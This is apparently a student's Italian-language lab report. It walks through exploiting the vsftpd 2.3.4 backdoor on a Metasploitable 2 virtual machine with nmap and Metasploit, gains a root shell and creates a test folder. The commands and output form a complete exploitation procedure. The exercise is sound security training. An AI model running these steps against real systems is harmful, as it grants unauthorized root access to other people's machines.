

## ESERCIZIO W15D4

Andremo a sfruttare la vulnerabilità presente nel servizio vsftpd versione 2.3.4, usando il tool Metasploit. La traccia precisa con i suoi passaggi è la seguente:


- Partendo dall'esercizio guidato visto nella lezione teorica, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).
- L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24.
- Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test\_metasploit.

### Cambio rete Metasplitable

Come menzionato, cambiamo l'indirizzo IPV4 di Metasploitable 2 in 192.168.1.149.

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see the file ifconfig(8)
#
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
#iface eth0 inet dhcp
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.3
broadcast 192.168.1.255
gateway 192.168.1.1
```



## Individuazione servizio

Per essere sicuri della sua presenza, utilizziamo nmap per scandagliare l'indirizzo 192.168.1.149 alla ricerca della porta contenente il servizio vsftpd.

```
(kali@kali)-[~]
$ sudo nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 18:17 EST
Nmap scan report for 192.168.1.149
Host is up (0.00023s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:CD:4D:11 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Service vsftpd open on 21/tcp

## Lancio Metasploitable 2

Quando abbiamo certezza del bersaglio, avviamo Metasploit per dare il via alla configurazione dell'exploit. Confermiamo la nostra scelta su vsftpd\_234\_backdoor. Configuriamo RHOSTS con 192.168.1.149.

```
(kali@kali)~$ msfconsole
Metasploit tip: Use help <command> to learn more about any command

Metasploit v6.3.50-dev
+ -- 2384 exploits - 1235 auxiliary - 417 post
+ -- 1391 payloads - 46 encoders - 11 nops
+ -- 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
-  -  -  -
CHOST      The local client address
CPORT      The local client port
Proxies     A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21              The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
-  -  -  -
```

Una volta preparato il modulo e scelto l'indirizzo, non ci resta che inviare la scritta run su terminale.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:38337 -> 192.168.1.149:6200) at 2024-02-18 16:27:59 -0500

whoami
root
```

Ora che siamo dentro alla macchina metasploitable 2, come vediamo anche dalle risposte positive come whoami root, portiamo a termine l'ultimo passo. Creiamo una cartella all'interno della directory root. Per fare ciò adoperiamo mkdir test\_metasploitable.

```
whoami System
root
ls
bin
boot
cdrom
dev
etc Home
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
privateshare
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
pwd
/
mkdir test_metasploit
ls
```

Directory  
test\_metasploit  
creation

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
privateshare
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

directory  
test\_metasploit  
created